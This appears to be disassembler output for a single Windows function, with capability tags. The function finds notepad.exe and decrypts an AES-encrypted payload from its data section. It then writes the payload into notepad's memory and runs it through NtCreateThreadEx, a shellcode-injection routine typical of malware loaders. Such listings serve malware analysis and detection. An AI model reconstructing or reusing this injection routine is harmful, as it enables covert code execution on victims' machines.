Function at 0x1400013f0
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Enumerate processes
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
push rbp
push rbx
push rdi
push r15
lea rbp, [rsp - 0xb8]
sub rsp, 0x1b8
xor edx, edx
xor r15d, r15d
mov edi, r15d
lea ecx, [rdx + 2]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400016da
lea rdx, [rsp + 0x70]
mov dword [rsp + 0x70], 0x130
mov rcx, rax
call sub.KERNEL32.dll_Process32First
mov rcx, rbx
test eax, eax
je 0x140001489
lea rdx, [rsp + 0x70]
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x1400014ae
nop dword [rax]
lea rdx, [rbp - 0x64]
lea rcx, str._FindProcess:____s__n
call fcn.140001700
lea rdx, [rbp - 0x64]
lea rcx, str.notepad.exe
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x14000149e
lea rdx, [rsp + 0x70]
mov rcx, rbx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x140001450
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0x1b8
pop r15
pop rdi
pop rbx
pop rbp
ret
mov edi, dword [rsp + 0x78]
lea rcx, str.Process_Found__n
call fcn.140001700
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
je 0x1400016da
mov edx, edi
mov qword [rsp + 0x1b0], rsi
lea rcx, str.Notepad.exe_PID___d_n
call fcn.140001700
mov r8d, edi
xor edx, edx
mov ecx, 0x43a
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
test rax, rax
je 0x1400016d2
mov ebx, dword [0x14001d120]
lea rcx, str.NTDLL.DLL
mov qword [rsp + 0x1a8], r12
mov qword [rsp + 0x1a0], r14
mov qword [rbp + 0xf8], r15
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtCreateThreadEx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r9d, 0x18
mov dword [rbp + 0xe0], ebx
xor r8d, r8d
mov dword [rsp + 0x20], 0xf0000000
xor edx, edx
lea rcx, [rbp + 0xe8]
mov r14, rax
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
lea r12, section..data
test eax, eax
je 0x140001627
mov rcx, qword [rbp + 0xe8]
lea rax, [rbp + 0xf0]
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov edx, 0x800c
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x140001627
mov rcx, qword [rbp + 0xf0]
lea rdx, [0x14001d128]
xor r9d, r9d
lea r8d, [r9 + 0x10]
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x140001627
mov r8, qword [rbp + 0xf0]
lea rax, [rsp + 0x60]
mov rcx, qword [rbp + 0xe8]
xor r9d, r9d
mov edx, 0x6610
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
je 0x140001627
mov rcx, qword [rsp + 0x60]
lea rax, [rbp + 0xe0]
mov qword [rsp + 0x28], rax
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], r12
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
je 0x140001627
mov rcx, qword [rbp + 0xe8]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rcx, qword [rbp + 0xf0]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov r9d, 0x1000
mov dword [rsp + 0x20], 0x20
mov r8, rbx
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r9, rbx
mov qword [rsp + 0x20], r15
mov rdx, rax
mov r8, r12
mov rcx, rsi
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x50], r15
lea rcx, [rbp + 0xf8]
mov qword [rsp + 0x48], r15
mov r9, rsi
mov qword [rsp + 0x40], r15
xor r8d, r8d
mov qword [rsp + 0x38], r15
mov edx, 0x10000000
mov dword [rsp + 0x30], r15d
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], rdi
call r14
mov rcx, qword [rbp + 0xf8]
mov r14, qword [rsp + 0x1a0]
mov r12, qword [rsp + 0x1a8]
test rcx, rcx
je 0x1400016c9
mov edx, 0x1f4
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp + 0xf8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rsi, qword [rsp + 0x1b0]
xor eax, eax
add rsp, 0x1b8
pop r15
pop rdi
pop rbx
pop rbp
ret